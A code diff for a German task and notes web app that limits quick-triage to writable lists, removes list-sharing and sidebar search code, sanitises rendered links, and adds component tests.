onUpdateDueDate(task, joinDue(addDays(daysOffset), splitDue(task.dueDate).time));
|
||||
};
|
||||
|
||||
const currentColumn = activeColumns.find((c) => c.id === task.kanbanStatus) ||
|
||||
(task.isCompleted
|
||||
? activeColumns.find((c) => c.isDone) || activeColumns[activeColumns.length - 1]
|
||||
: activeColumns.find((c) => !c.isDone) || activeColumns[0]);
|
||||
|
||||
const subtasks = Array.isArray(task.subtasks) ? task.subtasks : [];
|
||||
const completedSubtasks = subtasks.filter((s) => s.isCompleted).length;
|
||||
const subtasksPercent = subtasks.length > 0 ? Math.round((completedSubtasks / subtasks.length) * 100) : 0;
|
||||
|
||||
@@ -15,19 +15,18 @@ import {
|
||||
Layers,
|
||||
Users,
|
||||
CheckSquare,
|
||||
User as UserIcon,
|
||||
User as
|
||||
Lock,
|
||||
Hash,
|
||||
AlertTriangle,
|
||||
Flame,
|
||||
Settings,
|
||||
ChevronDown,
|
||||
Folder,
|
||||
Filter,
|
||||
Webhook,
|
||||
Repeat,
|
||||
} from 'lucide-react';
|
||||
import { TaskList, Thought, SubTask, Team, User, TaskListShare, TaskListMember, KanbanColumn, PriorityLevel, Recurrence, RECURRENCE_LABELS } from '../../lib/types';
|
||||
import { TaskList, Thought, SubTask, Team, User, TaskListMember, KanbanColumn, PriorityLevel, Recurrence, RECURRENCE_LABELS } from '../../lib/types';
|
||||
import { formatDue, isDueToday, isOverdue, localDay, splitDue } from '../../lib/due';
|
||||
import { api, triggerHaptic } from '../../lib/api';
|
||||
import { UnifiedShareModal } from '../../components/UnifiedShareModal';
|
||||
@@ -92,10 +91,6 @@ export const TasksView: React.FC<TasksViewProps> = ({
|
||||
// Share TaskList modal state
|
||||
const [showShareListModal, setShowShareListModal] = useState(false);
|
||||
const [sharingTaskList, setSharingTaskList] = useState<TaskList | null>(null);
|
||||
const [addShareType, setAddShareType] = useState<'team' | 'user'>('team');
|
||||
const [selectedShareTargetId, setSelectedShareTargetId] = useState('');
|
||||
const [selectedShareUser, setSelectedShareUser] = useState<User | null>(null);
|
||||
const [shareLoading, setShareLoading] = useState(false);
|
||||
|
||||
// Detail modal state
|
||||
const [detailTaskId, setDetailTaskId] = useState<string | null>(null);
|
||||
@@ -854,8 +849,6 @@ export const TasksView: React.FC<TasksViewProps> = ({
|
||||
|
||||
const handleOpenShareModal = async (tl: TaskList) => {
|
||||
setSharingTaskList(tl);
|
||||
setSelectedShareTargetId('');
|
||||
setSelectedShareUser(null);
|
||||
setShowShareListModal(true);
|
||||
try {
|
||||
const [freshTeams, freshUsers, freshShares] = await Promise.all([
|
||||
@@ -871,60 +864,6 @@ export const TasksView: React.FC<TasksViewProps> = ({
|
||||
}
|
||||
};
|
||||
|
||||
const handleAddShare = async () => {
|
||||
if (!sharingTaskList) return;
|
||||
const targetId = addShareType === 'team' ? selectedShareTargetId : selectedShareUser?.id;
|
||||
if (!targetId) return;
|
||||
setShareLoading(true);
|
||||
triggerHaptic(15);
|
||||
try {
|
||||
await api.addTaskListShare(sharingTaskList.id, {
|
||||
targetType: addShareType,
|
||||
targetId: targetId,
|
||||
});
|
||||
const [freshLists, freshShares] = await Promise.all([
|
||||
api.getTaskLists(),
|
||||
api.getTaskListShares(sharingTaskList.id).catch(() => []),
|
||||
]);
|
||||
setTaskLists(freshLists);
|
||||
const updated = freshLists.find((l) => l.id === sharingTaskList.id);
|
||||
if (updated) {
|
||||
setSharingTaskList({ ...updated, shares: freshShares });
|
||||
}
|
||||
setSelectedShareTargetId('');
|
||||
setSelectedShareUser(null);
|
||||
await loadData();
|
||||
} catch (err: any) {
|
||||
alert(err.message || 'Fehler beim Hinzufügen der Freigabe');
|
||||
} finally {
|
||||
setShareLoading(false);
|
||||
}
|
||||
};
|
||||
|
||||
const handleRemoveShare = async (shareId: string) => {
|
||||
if (!sharingTaskList) return;
|
||||
if (!window.confirm('Freigabe wirklich aufheben?')) return;
|
||||
setShareLoading(true);
|
||||
triggerHaptic(15);
|
||||
try {
|
||||
await api.removeTaskListShare(sharingTaskList.id, shareId);
|
||||
const [freshLists, freshShares] = await Promise.all([
|
||||
api.getTaskLists(),
|
||||
api.getTaskListShares(sharingTaskList.id).catch(() => []),
|
||||
]);
|
||||
setTaskLists(freshLists);
|
||||
const updated = freshLists.find((l) => l.id === sharingTaskList.id);
|
||||
if (updated) {
|
||||
setSharingTaskList({ ...updated, shares: freshShares });
|
||||
}
|
||||
await loadData();
|
||||
} catch (err: any) {
|
||||
alert(err.message || 'Fehler beim Entfernen der Freigabe');
|
||||
} finally {
|
||||
setShareLoading(false);
|
||||
}
|
||||
};
|
||||
|
||||
const handleSaveColumns = async (newColumns: KanbanColumn[]) => {
|
||||
triggerHaptic(15);
|
||||
if (currentSelectedList && selectedListId !== 'all') {
|
||||
@@ -1405,9 +1344,9 @@ export const TasksView: React.FC<TasksViewProps> = ({
|
||||
}`}
|
||||
>
|
||||
{/* Counter on the label, like in the nav bar */}
|
||||
<span className={`relative inline-flex items-center ${openTasksCount ? 'pr-2' : ''}`}>
|
||||
<span className={`relative inline-flex items-center ${openTasksCount ? 'pr-3' : ''}`}>
|
||||
Alle Aufgaben
|
||||
<CountBadge count={openTasksCount} position="corner" className="-top-1.5 -right-1" />
|
||||
<CountBadge count={openTasksCount} position="corner" className="-top-0.5 -right-2" />
|
||||
</span>
|
||||
</button>
|
||||
|
||||
@@ -1423,9 +1362,9 @@ export const TasksView: React.FC<TasksViewProps> = ({
|
||||
className="h-full px-3 text-xs font-medium flex items-center gap-1.5 rounded-btn"
|
||||
>
|
||||
<span>{tl.icon}</span>
|
||||
<span className={`relative inline-flex items-center ${tl.tasksCount ? 'pr-2' : ''}`}>
|
||||
<span className={`relative inline-flex items-center ${tl.tasksCount ? 'pr-3' : ''}`}>
|
||||
{tl.title}
|
||||
<CountBadge count={tl.tasksCount} position="corner" className="-top-1.5 -right-1" />
|
||||
<CountBadge count={tl.tasksCount} position="corner" className="-top-0.5 -right-2" />
|
||||
</span>
|
||||
|
||||
{(() => {
|
||||
|
||||
@@ -221,6 +221,9 @@ export const TriageDeck: React.FC<TriageDeckProps> = ({
|
||||
onDeckChange,
|
||||
onFocusCapture,
|
||||
}) => {
|
||||
const writableLists = lists.filter((l) => l.isOwner || l.role !== 'viewer');
|
||||
const singleWritableList = writableLists.length === 1 ? writableLists[0] : null;
|
||||
|
||||
const [cards, setCards] = useState<Thought[]>(deck);
|
||||
const [lastTriaged, setLastTriaged] = useState<Thought | null>(null);
|
||||
const [showDateModal, setShowDateModal] = useState(false);
|
||||
@@ -702,8 +705,8 @@ export const TriageDeck: React.FC<TriageDeckProps> = ({
|
||||
Quick Dump direkt einer Liste zuordnen:
|
||||
</p>
|
||||
<div className="flex flex-wrap gap-1.5">
|
||||
{lists.length > 0 ? (
|
||||
lists.map((lst) => (
|
||||
{writableLists.length > 0 ? (
|
||||
writableLists.map((lst) => (
|
||||
<button
|
||||
key={lst.id}
|
||||
onClick={() =>
|
||||
@@ -746,17 +749,35 @@ export const TriageDeck: React.FC<TriageDeckProps> = ({
|
||||
</button>
|
||||
|
||||
<button
|
||||
disabled={writableLists.length === 0}
|
||||
onClick={() => {
|
||||
if (singleWritableList) {
|
||||
handleAction('keep', {
|
||||
convertTo: 'list_item',
|
||||
targetListId: singleWritableList.id,
|
||||
});
|
||||
return;
|
||||
}
|
||||
setShowDateModal(false);
|
||||
setShowListSelector((prev) => !prev);
|
||||
}}
|
||||
title="Auf eine geteilte Liste setzen"
|
||||
title={
|
||||
writableLists.length === 0
|
||||
? 'Keine Liste vorhanden'
|
||||
: singleWritableList
|
||||
? `Auf ${singleWritableList.title}`
|
||||
: 'Auf eine geteilte Liste setzen'
|
||||
}
|
||||
className={`btn-action flex-1 h-9 px-3 justify-center whitespace-nowrap ${
|
||||
showListSelector ? 'border-accent text-accent bg-accent-dim' : ''
|
||||
writableLists.length === 0
|
||||
? 'opacity-40 cursor-not-allowed'
|
||||
: showListSelector
|
||||
? 'border-accent text-accent bg-accent-dim'
|
||||
: ''
|
||||
}`}
|
||||
>
|
||||
<ShoppingCart className="w-3.5 h-3.5 text-accent flex-shrink-0" />
|
||||
<span>Auf Liste</span>
|
||||
<span>{singleWritableList ? `Auf ${singleWritableList.title}` : 'Auf Liste'}</span>
|
||||
</button>
|
||||
|
||||
<button
|
||||
@@ -810,7 +831,7 @@ export const TriageDeck: React.FC<TriageDeckProps> = ({
|
||||
<SwipeableQueueItem
|
||||
key={item.id}
|
||||
item={item}
|
||||
lists={lists}
|
||||
lists={writableLists}
|
||||
onBringToFront={handleBringToFront}
|
||||
onOpenActionSheet={openActionSheetForCard}
|
||||
onAction={handleAction}
|
||||
@@ -854,13 +875,39 @@ export const TriageDeck: React.FC<TriageDeckProps> = ({
|
||||
<div className="grid grid-cols-2 gap-2">
|
||||
<button
|
||||
type="button"
|
||||
onClick={() => setSheetMode('list')}
|
||||
className="min-h-[52px] px-3.5 py-2.5 rounded-xl bg-canvas hover:bg-panel-elevated border border-border text-left flex items-center gap-3 transition-colors cursor-pointer active:scale-98"
|
||||
disabled={writableLists.length === 0}
|
||||
onClick={() => {
|
||||
if (singleWritableList) {
|
||||
handleAction('keep', {
|
||||
convertTo: 'list_item',
|
||||
targetListId: singleWritableList.id,
|
||||
thoughtOverride: actionSheetCard,
|
||||
});
|
||||
return;
|
||||
}
|
||||
setSheetMode('list');
|
||||
}}
|
||||
title={
|
||||
writableLists.length === 0
|
||||
? 'Keine Liste vorhanden'
|
||||
: singleWritableList
|
||||
? `Auf ${singleWritableList.title}`
|
||||
: 'Auf Liste setzen'
|
||||
}
|
||||
className={`min-h-[52px] px-3.5 py-2.5 rounded-xl bg-canvas hover:bg-panel-elevated border border-border text-left flex items-center gap-3 transition-colors cursor-pointer active:scale-98 ${
|
||||
writableLists.length === 0 ? 'opacity-40 cursor-not-allowed' : ''
|
||||
}`}
|
||||
>
|
||||
<ShoppingCart className="w-5 h-5 text-accent flex-shrink-0" />
|
||||
<div>
|
||||
<div className="min-w-0">
|
||||
<div className="text-sm font-semibold text-main">Auf Liste</div>
|
||||
<div className="text-[11px] text-muted">Einkauf / Geteilt</div>
|
||||
<div className="text-[11px] text-muted truncate">
|
||||
{writableLists.length === 0
|
||||
? 'Keine Liste vorhanden'
|
||||
: singleWritableList
|
||||
? singleWritableList.title
|
||||
: 'Einkauf / Geteilt'}
|
||||
</div>
|
||||
</div>
|
||||
</button>
|
||||
|
||||
@@ -999,8 +1046,8 @@ export const TriageDeck: React.FC<TriageDeckProps> = ({
|
||||
Auf welche Liste soll dieser Punkt gesetzt werden?
|
||||
</p>
|
||||
<div className="max-h-60 overflow-y-auto space-y-1.5">
|
||||
{lists.length > 0 ? (
|
||||
lists.map((lst) => (
|
||||
{writableLists.length > 0 ? (
|
||||
writableLists.map((lst) => (
|
||||
<button
|
||||
key={lst.id}
|
||||
type="button"
|
||||
|
||||
@@ -0,0 +1,70 @@
|
||||
import { describe, it, expect, vi } from 'vitest';
|
||||
import { render, screen, fireEvent } from '@testing-library/react';
|
||||
import { TaskDetailModal } from '../TaskDetailModal';
|
||||
import { Thought } from '../../../lib/types';
|
||||
|
||||
const task: Thought = {
|
||||
id: 'th_1',
|
||||
userId: 'usr_1',
|
||||
content: 'Fenster putzen',
|
||||
tags: [],
|
||||
priority: 'normal',
|
||||
source: 'manual',
|
||||
status: 'converted',
|
||||
isCompleted: false,
|
||||
kanbanStatus: 'todo',
|
||||
dueDate: '2026-10-30T14:30',
|
||||
createdAt: '2026-10-29T08:00:00Z',
|
||||
};
|
||||
const columns = [
|
||||
{ id: 'todo', name: 'Zu erledigen' },
|
||||
{ id: 'done', name: 'Erledigt', isDone: true },
|
||||
];
|
||||
const noop = vi.fn(async () => {});
|
||||
|
||||
const props = (over: Partial<React.ComponentProps<typeof TaskDetailModal>> = {}) => ({
|
||||
task,
|
||||
isOpen: true,
|
||||
onClose: vi.fn(),
|
||||
activeColumns: columns,
|
||||
taskLists: [],
|
||||
onUpdateTitle: noop,
|
||||
onUpdateStatus: noop,
|
||||
onUpdatePriority: noop,
|
||||
onUpdateDueDate: vi.fn(async () => {}),
|
||||
onUpdateTaskList: noop,
|
||||
onUpdateNotes: noop,
|
||||
onToggleSubtask: noop,
|
||||
onAddSubtask: noop,
|
||||
onDeleteSubtask: noop,
|
||||
onConvertToDoc: vi.fn(),
|
||||
onDeleteTask: vi.fn(),
|
||||
...over,
|
||||
});
|
||||
|
||||
describe('TaskDetailModal', () => {
|
||||
it('opens and closes without breaking the hook order', () => {
|
||||
const { rerender, container } = render(<TaskDetailModal {...props({ isOpen: false })} />);
|
||||
expect(container.firstChild).toBeNull();
|
||||
rerender(<TaskDetailModal {...props()} />);
|
||||
expect(screen.getByText('Aufgabe bearbeiten')).toBeTruthy();
|
||||
rerender(<TaskDetailModal {...props({ isOpen: false })} />);
|
||||
rerender(<TaskDetailModal {...props()} />);
|
||||
expect(screen.getByText('Aufgabe bearbeiten')).toBeTruthy();
|
||||
});
|
||||
|
||||
it('shows date and time separately and removes only the time', () => {
|
||||
const onUpdateDueDate = vi.fn(async () => {});
|
||||
render(<TaskDetailModal {...props({ onUpdateDueDate })} />);
|
||||
expect((screen.getByLabelText('Fälligkeitsdatum') as HTMLInputElement).value).toBe('2026-10-30');
|
||||
expect((screen.getByLabelText('Uhrzeit (optional)') as HTMLInputElement).value).toBe('14:30');
|
||||
fireEvent.click(screen.getByTitle(/Uhrzeit entfernen/));
|
||||
expect(onUpdateDueDate).toHaveBeenCalledWith(task, '2026-10-30');
|
||||
});
|
||||
|
||||
it('is view-only for tasks in lists shared with viewer rights', () => {
|
||||
render(<TaskDetailModal {...props({ readOnly: true })} />);
|
||||
expect(screen.getByText('Aufgabe ansehen')).toBeTruthy();
|
||||
expect((screen.getByLabelText('Fälligkeitsdatum') as HTMLInputElement).closest('fieldset')?.disabled).toBe(true);
|
||||
});
|
||||
});
|
||||
@@ -0,0 +1,163 @@
|
||||
import React from 'react';
|
||||
import { describe, it, expect, vi, beforeEach } from 'vitest';
|
||||
import { render, screen, fireEvent, waitFor } from '@testing-library/react';
|
||||
import { TriageDeck } from '../TriageDeck';
|
||||
import { api } from '../../../lib/api';
|
||||
import { SharedList, Thought } from '../../../lib/types';
|
||||
|
||||
const sampleDeck: Thought[] = [
|
||||
{
|
||||
id: 'th_1',
|
||||
userId: 'u_1',
|
||||
content: 'Hafermilch und Kaffeebohnen',
|
||||
status: 'inbox',
|
||||
priority: 'normal',
|
||||
source: 'manual',
|
||||
isCompleted: false,
|
||||
tags: [],
|
||||
createdAt: '2026-10-29T10:00:00Z',
|
||||
},
|
||||
];
|
||||
|
||||
const ownList: SharedList = {
|
||||
id: 'lst_own',
|
||||
title: 'Wocheneinkauf',
|
||||
icon: '🛒',
|
||||
listType: 'shopping',
|
||||
isOwner: true,
|
||||
role: 'owner',
|
||||
items: [],
|
||||
createdAt: '2026-10-29T10:00:00Z',
|
||||
updatedAt: '2026-10-29T10:00:00Z',
|
||||
};
|
||||
|
||||
const secondEditableList: SharedList = {
|
||||
id: 'lst_edit',
|
||||
title: 'Baumarkt',
|
||||
icon: '🔨',
|
||||
listType: 'checklist',
|
||||
isOwner: false,
|
||||
role: 'editor',
|
||||
items: [],
|
||||
createdAt: '2026-10-29T10:00:00Z',
|
||||
updatedAt: '2026-10-29T10:00:00Z',
|
||||
};
|
||||
|
||||
const viewerList: SharedList = {
|
||||
id: 'lst_view',
|
||||
title: 'WG-Archiv',
|
||||
icon: '📋',
|
||||
listType: 'checklist',
|
||||
isOwner: false,
|
||||
role: 'viewer',
|
||||
items: [],
|
||||
createdAt: '2026-10-29T10:00:00Z',
|
||||
updatedAt: '2026-10-29T10:00:00Z',
|
||||
};
|
||||
|
||||
describe('TriageDeck single-list shortcut', () => {
|
||||
beforeEach(() => {
|
||||
vi.restoreAllMocks();
|
||||
vi.spyOn(api, 'triageAction').mockResolvedValue(sampleDeck[0]);
|
||||
});
|
||||
|
||||
it('directly assigns to the single own list without opening the selector', async () => {
|
||||
const onDeckChange = vi.fn();
|
||||
|
||||
render(
|
||||
<TriageDeck
|
||||
deck={sampleDeck}
|
||||
lists={[ownList]}
|
||||
onDeckChange={onDeckChange}
|
||||
onOpenDocument={vi.fn()}
|
||||
onFocusCapture={vi.fn()}
|
||||
/>
|
||||
);
|
||||
|
||||
const btn = screen.getByRole('button', { name: /Auf Wocheneinkauf/i });
|
||||
expect((btn as HTMLButtonElement).disabled).toBe(false);
|
||||
|
||||
fireEvent.click(btn);
|
||||
|
||||
await waitFor(() => {
|
||||
expect(api.triageAction).toHaveBeenCalledWith('th_1', 'keep', {
|
||||
convertTo: 'list_item',
|
||||
targetListId: 'lst_own',
|
||||
dueDate: undefined,
|
||||
});
|
||||
expect(onDeckChange).toHaveBeenCalledTimes(1);
|
||||
});
|
||||
expect(screen.queryByText(/Quick Dump direkt einer Liste zuordnen/i)).toBeNull();
|
||||
});
|
||||
|
||||
it('opens the list selector when two writable lists exist instead of assigning directly', () => {
|
||||
const onDeckChange = vi.fn();
|
||||
|
||||
render(
|
||||
<TriageDeck
|
||||
deck={sampleDeck}
|
||||
lists={[ownList, secondEditableList]}
|
||||
onDeckChange={onDeckChange}
|
||||
onOpenDocument={vi.fn()}
|
||||
onFocusCapture={vi.fn()}
|
||||
/>
|
||||
);
|
||||
|
||||
const btn = screen.getByRole('button', { name: /^Auf Liste$/i });
|
||||
fireEvent.click(btn);
|
||||
|
||||
expect(api.triageAction).not.toHaveBeenCalled();
|
||||
expect(onDeckChange).not.toHaveBeenCalled();
|
||||
expect(screen.getByText(/Quick Dump direkt einer Liste zuordnen/i)).toBeTruthy();
|
||||
expect(screen.getByRole('button', { name: /Wocheneinkauf/i })).toBeTruthy();
|
||||
expect(screen.getByRole('button', { name: /Baumarkt/i })).toBeTruthy();
|
||||
});
|
||||
|
||||
it('treats one own list and one viewer-only shared list as a single writable list', async () => {
|
||||
const onDeckChange = vi.fn();
|
||||
|
||||
render(
|
||||
<TriageDeck
|
||||
deck={sampleDeck}
|
||||
lists={[viewerList, ownList]}
|
||||
onDeckChange={onDeckChange}
|
||||
onOpenDocument={vi.fn()}
|
||||
onFocusCapture={vi.fn()}
|
||||
/>
|
||||
);
|
||||
|
||||
const btn = screen.getByRole('button', { name: /Auf Wocheneinkauf/i });
|
||||
fireEvent.click(btn);
|
||||
|
||||
await waitFor(() => {
|
||||
expect(api.triageAction).toHaveBeenCalledWith('th_1', 'keep', {
|
||||
convertTo: 'list_item',
|
||||
targetListId: 'lst_own',
|
||||
dueDate: undefined,
|
||||
});
|
||||
expect(onDeckChange).toHaveBeenCalledTimes(1);
|
||||
});
|
||||
});
|
||||
|
||||
it('disables the list button when no writable list exists', () => {
|
||||
const onDeckChange = vi.fn();
|
||||
|
||||
render(
|
||||
<TriageDeck
|
||||
deck={sampleDeck}
|
||||
lists={[viewerList]}
|
||||
onDeckChange={onDeckChange}
|
||||
onOpenDocument={vi.fn()}
|
||||
onFocusCapture={vi.fn()}
|
||||
/>
|
||||
);
|
||||
|
||||
const btn = screen.getByRole('button', { name: /^Auf Liste$/i }) as HTMLButtonElement;
|
||||
expect(btn.disabled).toBe(true);
|
||||
expect(btn.title).toBe('Keine Liste vorhanden');
|
||||
|
||||
fireEvent.click(btn);
|
||||
expect(api.triageAction).not.toHaveBeenCalled();
|
||||
expect(onDeckChange).not.toHaveBeenCalled();
|
||||
});
|
||||
});
|
||||
@@ -1,4 +1,4 @@
|
||||
import React, { useState, useMemo, useRef, useEffect } from 'react';
|
||||
import React, { useState, useMemo, useRef } from 'react';
|
||||
import Prism from 'prismjs';
|
||||
import 'prismjs/components/prism-python';
|
||||
import 'prismjs/components/prism-typescript';
|
||||
|
||||
@@ -14,7 +14,6 @@ import {
|
||||
Minimize2,
|
||||
Sparkles,
|
||||
Plus,
|
||||
Search,
|
||||
Check,
|
||||
CloudOff,
|
||||
AlertTriangle,
|
||||
|
||||
@@ -25,6 +25,7 @@ import { DocumentBlock, BlockType } from '../../lib/types';
|
||||
import { LinkModal } from './LinkModal';
|
||||
import { renderInlineMarkdown } from '../../lib/markdown';
|
||||
import { api } from '../../lib/api';
|
||||
import { safeHref } from '../../lib/safeUrl';
|
||||
|
||||
export interface SlashCommand {
|
||||
type: BlockType | 'link';
|
||||
@@ -97,7 +98,6 @@ export const OutlinerBlock: React.FC<OutlinerBlockProps> = ({
|
||||
block,
|
||||
index,
|
||||
isLast,
|
||||
maxAllowedLevel,
|
||||
hasChildren,
|
||||
isFocused,
|
||||
canEdit,
|
||||
@@ -1002,9 +1002,9 @@ export const OutlinerBlock: React.FC<OutlinerBlockProps> = ({
|
||||
);
|
||||
}
|
||||
const mdMatch = part.match(/^\[(.*?)\]\((https?:\/\/.*?)\)$/);
|
||||
if (mdMatch) {
|
||||
if (mdMatch && safeHref(mdMatch[2])) {
|
||||
const label = mdMatch[1];
|
||||
const url = mdMatch[2];
|
||||
const url = safeHref(mdMatch[2]) as string;
|
||||
return (
|
||||
<a
|
||||
key={idx}
|
||||
@@ -1019,11 +1019,11 @@ export const OutlinerBlock: React.FC<OutlinerBlockProps> = ({
|
||||
</a>
|
||||
);
|
||||
}
|
||||
if (/^https?:\/\//.test(part)) {
|
||||
if (/^https?:\/\//.test(part) && safeHref(part)) {
|
||||
return (
|
||||
<a
|
||||
key={idx}
|
||||
href={part}
|
||||
href={safeHref(part) as string}
|
||||
target="_blank"
|
||||
rel="noopener noreferrer"
|
||||
className="inline-flex items-center gap-0.5 px-1.5 py-0.5 text-[10px] font-medium text-status-ok bg-status-ok/10 hover:bg-status-ok/20 rounded-btn transition-colors"
|
||||
|
||||
@@ -402,7 +402,7 @@ export const OutlinerTree = forwardRef<OutlinerTreeHandle, OutlinerTreeProps>(({
|
||||
|
||||
// Explicit bullet or numbered list: - item, * item, • item, 1. item, 1) item
|
||||
const bulletMatch = strippedLine.match(/^[-*•]\s+(.*)$/);
|
||||
const numMatch = strippedLine.match(/^\d+[\.\)]\s+(.*)$/);
|
||||
const numMatch = strippedLine.match(/^\d+[.)]\s+(.*)$/);
|
||||
if (bulletMatch || numMatch) {
|
||||
pushCurrentItem();
|
||||
afterHeading = false;
|
||||
|
||||
@@ -18,15 +18,11 @@ import {
|
||||
ExternalLink,
|
||||
Sparkles,
|
||||
ArrowLeft,
|
||||
CheckSquare,
|
||||
PanelLeftClose,
|
||||
PanelLeftOpen,
|
||||
ChevronLeft,
|
||||
Radio,
|
||||
Clock,
|
||||
AlertTriangle,
|
||||
Loader2,
|
||||
Lock,
|
||||
} from 'lucide-react';
|
||||
import {
|
||||
Document,
|
||||
@@ -44,10 +40,6 @@ import {
|
||||
api,
|
||||
onWebSocketMessage,
|
||||
triggerHaptic,
|
||||
onRealtimeStatus,
|
||||
isRealtimeConnected,
|
||||
getRealtimeTransport,
|
||||
RealtimeTransport,
|
||||
} from '../../lib/api';
|
||||
import { UnifiedShareModal } from '../../components/UnifiedShareModal';
|
||||
import { FormSheet } from '../../components/FormSheet';
|
||||
@@ -64,6 +56,8 @@ interface WorkspaceViewProps {
|
||||
initialBlockId?: string | null;
|
||||
onStatsChange: () => void;
|
||||
onOpenTask?: (taskId: string) => void;
|
||||
// Opens the global search (command palette); the notes sidebar has no search of its own
|
||||
onOpenSearch?: () => void;
|
||||
}
|
||||
|
||||
type WorkspaceSubView = 'editor' | 'tag_detail' | 'todos' | 'tags' | 'trash';
|
||||
@@ -282,6 +276,7 @@ export const WorkspaceView: React.FC<WorkspaceViewProps> = ({
|
||||
initialBlockId,
|
||||
onStatsChange,
|
||||
onOpenTask,
|
||||
onOpenSearch,
|
||||
}) => {
|
||||
const [docs, setDocs] = useState<Document[]>([]);
|
||||
const [folders, setFolders] = useState<string[]>([]);
|
||||
@@ -325,7 +320,6 @@ export const WorkspaceView: React.FC<WorkspaceViewProps> = ({
|
||||
const [tagSearchQuery, setTagSearchQuery] = useState<string>('');
|
||||
const [tagSortBy, setTagSortBy] = useState<'count' | 'name'>('count');
|
||||
|
||||
const [searchQuery, setSearchQuery] = useState<string>('');
|
||||
const [expandedFolders, setExpandedFolders] = useState<Record<string, boolean>>(() => {
|
||||
try {
|
||||
const saved = localStorage.getItem('mindsift:workspace_expanded_folders');
|
||||
@@ -345,7 +339,6 @@ export const WorkspaceView: React.FC<WorkspaceViewProps> = ({
|
||||
const [newFolderCoords, setNewFolderCoords] = useState<{ x: number; y: number } | null>(null);
|
||||
const [newFolderParentPath, setNewFolderParentPath] = useState<string>('');
|
||||
const [newFolderName, setNewFolderName] = useState<string>('');
|
||||
const [newFolderIsShared, setNewFolderIsShared] = useState<boolean>(false);
|
||||
|
||||
const handleOpenNewFolder = (parentPath = '', e?: React.MouseEvent) => {
|
||||
setNewFolderParentPath(parentPath);
|
||||
@@ -379,19 +372,9 @@ export const WorkspaceView: React.FC<WorkspaceViewProps> = ({
|
||||
});
|
||||
}, []);
|
||||
|
||||
// Realtime connection status for top header indicator (identical to SharedListsView)
|
||||
const [realtimeConnected, setRealtimeConnected] = useState<boolean>(() => isRealtimeConnected());
|
||||
const [realtimeTransport, setRealtimeTransport] = useState<RealtimeTransport>(() => getRealtimeTransport());
|
||||
const [docSaveStatus, setDocSaveStatus] = useState<DocSaveStatus>('saved');
|
||||
const [docSaveError, setDocSaveError] = useState<string | null>(null);
|
||||
|
||||
useEffect(() => {
|
||||
const unsub = onRealtimeStatus((connected, transport) => {
|
||||
setRealtimeConnected(connected);
|
||||
setRealtimeTransport(transport);
|
||||
});
|
||||
return unsub;
|
||||
}, []);
|
||||
|
||||
// Drag and Drop state
|
||||
const [draggingDocId, setDraggingDocId] = useState<string | null>(null);
|
||||
@@ -868,17 +851,6 @@ export const WorkspaceView: React.FC<WorkspaceViewProps> = ({
|
||||
return Array.from(set).sort();
|
||||
}, [docs, folders, sharedFolders]);
|
||||
|
||||
const filteredDocs = useMemo(() => {
|
||||
const q = searchQuery.trim().toLowerCase();
|
||||
if (!q) return docs;
|
||||
return docs.filter(
|
||||
(d) =>
|
||||
d.title.toLowerCase().includes(q) ||
|
||||
(d.content && d.content.toLowerCase().includes(q)) ||
|
||||
(d.tags && d.tags.some((t) => t.toLowerCase().includes(q)))
|
||||
);
|
||||
}, [docs, searchQuery]);
|
||||
|
||||
const folderTree = useMemo(() => {
|
||||
const rootNodes: FolderTreeNode[] = [];
|
||||
const nodeMap = new Map<string, FolderTreeNode>();
|
||||
@@ -906,7 +878,7 @@ export const WorkspaceView: React.FC<WorkspaceViewProps> = ({
|
||||
const sharedFolderObj = sharedFolders.find(
|
||||
(sf) => sf.mountPath === p || sf.name === p
|
||||
);
|
||||
const folderDocs = filteredDocs.filter((d) => d.folderPath === p);
|
||||
const folderDocs = docs.filter((d) => d.folderPath === p);
|
||||
|
||||
const node: FolderTreeNode = {
|
||||
name: leafName,
|
||||
@@ -931,16 +903,16 @@ export const WorkspaceView: React.FC<WorkspaceViewProps> = ({
|
||||
}
|
||||
|
||||
return rootNodes;
|
||||
}, [allFolderPaths, filteredDocs, sharedFolders]);
|
||||
}, [allFolderPaths, docs, sharedFolders]);
|
||||
|
||||
const pinnedDocs = useMemo(
|
||||
() => filteredDocs.filter((d) => d.isPinned),
|
||||
[filteredDocs]
|
||||
() => docs.filter((d) => d.isPinned),
|
||||
[docs]
|
||||
);
|
||||
|
||||
const rootDocs = useMemo(
|
||||
() => filteredDocs.filter((d) => !d.folderPath),
|
||||
[filteredDocs]
|
||||
() => docs.filter((d) => !d.folderPath),
|
||||
[docs]
|
||||
);
|
||||
|
||||
// Global To-Dos rollup collections
|
||||
@@ -969,22 +941,6 @@ export const WorkspaceView: React.FC<WorkspaceViewProps> = ({
|
||||
return map;
|
||||
}, [allRollupTodos]);
|
||||
|
||||
const rollupTodosByNote = useMemo(() => {
|
||||
const map = new Map<
|
||||
string,
|
||||
{ doc: Document; items: { doc: Document; blockId: string; content: string; checked: boolean }[] }
|
||||
>();
|
||||
for (const item of allRollupTodos) {
|
||||
const existing = map.get(item.doc.id);
|
||||
if (existing) {
|
||||
existing.items.push(item);
|
||||
} else {
|
||||
map.set(item.doc.id, { doc: item.doc, items: [item] });
|
||||
}
|
||||
}
|
||||
return map;
|
||||
}, [allRollupTodos]);
|
||||
|
||||
const totalOpenTodos = useMemo(() => {
|
||||
let count = 0;
|
||||
for (const d of docs) {
|
||||
@@ -1223,7 +1179,6 @@ export const WorkspaceView: React.FC<WorkspaceViewProps> = ({
|
||||
>
|
||||
<FileText className="w-3.5 h-3.5 text-accent" />
|
||||
<span>Notizen</span>
|
||||
{docs.length > 0 && <span className="ml-1 badge-neutral text-[10px]">{docs.length}</span>}
|
||||
</button>
|
||||
|
||||
<button
|
||||
@@ -1239,8 +1194,10 @@ export const WorkspaceView: React.FC<WorkspaceViewProps> = ({
|
||||
}`}
|
||||
>
|
||||
<Check className="w-3.5 h-3.5 text-status-ok" />
|
||||
<span>To-Dos</span>
|
||||
{totalOpenTodos > 0 && <span className="ml-1 badge-neutral text-[10px]">{totalOpenTodos}</span>}
|
||||
<span className={`relative inline-flex items-center ${totalOpenTodos > 0 ? 'pr-3' : ''}`}>
|
||||
To-Dos
|
||||
<CountBadge count={totalOpenTodos} position="corner" className="-top-0.5 -right-2" />
|
||||
</span>
|
||||
</button>
|
||||
|
||||
<button
|
||||
@@ -1256,8 +1213,10 @@ export const WorkspaceView: React.FC<WorkspaceViewProps> = ({
|
||||
}`}
|
||||
>
|
||||
<Hash className="w-3.5 h-3.5 text-accent" />
|
||||
<span>Hashtags</span>
|
||||
{tagsSummary.length > 0 && <span className="ml-1 badge-neutral text-[10px]">{tagsSummary.length}</span>}
|
||||
